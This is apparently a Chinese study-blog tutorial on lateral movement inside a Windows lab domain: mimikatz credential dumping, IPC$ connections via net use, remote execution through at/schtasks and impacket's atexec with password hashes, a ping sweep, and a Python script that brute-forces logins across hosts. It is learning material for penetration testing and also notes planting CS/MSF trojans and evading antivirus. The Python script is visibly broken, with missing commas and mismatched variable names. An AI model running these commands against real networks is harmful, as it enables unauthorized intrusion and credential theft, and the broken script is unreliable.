• 网安学习-内网渗透2


    目录

    #案例一:横向渗透明文传递at&schtasks

    #案例2-横向渗透明文HASH传递atexec-impacket

    #案例3:横向渗透明文HASH传递批量利用-综合


    #案例一:横向渗透明文传递at&schtasks

    在拿下一台内网的主机之后,通过本地信息收集收集用户凭证等信息之后,如何横向渗透拿下更多的主机?这里介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。

    获取到某域主机权限->mimikatz得到密码(明文,或者是hash)->用到信息收集里面的域用户的列表当作用户名字典->用到密码明文当作密码的字典->尝试连接->创建计划任务(at | schtasks)->执行文件可以是后门文件或者是相关命令

    at  <  windows2012

    schtasks  >=  windows2012

    利用流程:

    1. 建立IPC链接到目标主机
    2. 拷贝要执行的命令脚本到目标主机
    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
    4. 删除IPC链接

    net  use  \\server\ipc$"password"  /user:username        #工作组

    net  use  \\server\ipc$"password"  /user:domain \username        #域内

    dir  \\xx.xx.xx.xx\C$\        #查看文件列表

    copy  \\xx.xx.xx.xx\C$\1.bat  1.bat        #下载文件

    copy  1.bat   \\xx.xx.xx.xx\C$        #复制文件

    net  use  \\xx.xx.xx.xx\C$\1.bat  /del        #删除IPC

    net  view  xx.xx.xx.xx        #查看对方共享

    建立IPC连接到目标主机:

    接下来就是将add.bat文件拷贝到目标主机(实战中大多是CS 或者是MSF木马)。之后就是创建一个定时的任务。

     其中add.bat文件中的内容是如上,就是增加一个用户名为xiaodi,密码为qwe...

    查看是否创建成功。

    可以看到已经有了xiaodi这个用户。

    建立IPC失败的原因

    1. 目标系统不是NT或者以上的操作系统
    2. 对方没有打开IPC$共享
    3. 对方未开启139、445端口,或者被防火墙屏蔽
    4. 输出命令、账号密码有错误

    #案例2-横向渗透明文HASH传递atexec-impacket

    atexec工具自带提权。优点:方便快捷,可以支持hash。缺点:第三方工具,会受到杀毒软件或防护的影响。如果目标主机有杀软或防护的话,要对该软件进行免杀

    #案例3:横向渗透明文HASH传递批量利用-综合

    webserver已经拿到权限

    通过mimikatz获取到密码。

    获取到本机密码。之后便探针存活主机,使用批处理来跑多个ip地址,使用固定的密码账号,来执行个whoami,ips.txt就是刚才收集到存活主机的IP地址。(探针主机,可以用nmap也可以用上个文章记录的ping命令的方法)

    for /L %i in (i,1,254) DO @ping -w 1 -n 1 192.168.3.%i findstr "TTL="

     之后便可以写一个批量的脚本来测试这个口令在上面探测到的ip中使用概率。

    其中的ips.txt中存放的就是我么上面探针到的地址。上面的for循环的代码被存储在at_ip.bat文件中,执行该文件。

    这里就是发现了192.168.3.29执行whoami之后返回的是system。也就是说这个192.168.3.29账号为administrator,密码采用的就是admin!@#45。那么由于我们得到的是system权限,所以我们又可以通过mimikatz等工具来获取到29这个主机上的密码,之后便可以再将其账号密码作为字典去批量测试域中的主机

    之后便可以将得到的密码写入到pass.txt文件中,批量去测试域控。

     这里使用的还是上面的ip.txt的那个for循环

    FOR /F %%i in (ip.txt) do atexec.exe ./administrator:Admin12345@%%i whoami

    这里就返回了域控的密码。 

     当然上面都是通过了一个for来改变一个变量,我们也是可以改变三个变量,比如说ip地址、用户名、以及密码都作为变量进行FUZZ。

    放上迪哥脚本。

    1. import os,time
    2. ips={
    3. '192.168.3.21',
    4. '192.168.3.25',
    5. '192.168.3.29',
    6. '192.168.3.30',
    7. '1'
    8. }
    9. user = {
    10. 'Administrator',
    11. 'boss',
    12. 'dbadmin',
    13. 'fileadmin',
    14. 'mack'
    15. 'mary'
    16. 'vpnadm'
    17. 'webadmin'
    18. passs = {
    19. 'admin',
    20. 'admin!@#45',
    21. 'Admin12345'
    22. }
    23. for ip in ips:
    24. for user in users:
    25. for mima in passs:
    26. exec = "net use \\"+"\\"+ip+"\ipc$ "+mina+" /user:god\\"+user
    27. print("----->"+exec+"<-----")
    28. os.system(exec)
    29. time.sleep(1)

     连接上五台内网的主机,因此之后的操作就是和上面的一样了,上传文件等。

  • 相关阅读:
    洛谷 P2349:金字塔 ← 链式前向星 dfs
    Notepad++ 代码格式化插件工具
    VUE+ts项目配置--alias别名配置
    普歌-浅谈RabbitMQ
    设计模式-行为型模式-责任链模式
    【Python游戏】Python基于pygame实现的人机大战的斗兽棋小游戏 | 附源码
    Mybatis-Plus报错:can not use this method for “getSqlSet“ | 带你从源码层面解析异常
    mybatis-plus实现多租户Saas
    实验室管理系统LIMS
    2-2 自动微分机制
  • 原文地址:https://blog.csdn.net/weixin_44770698/article/details/126052965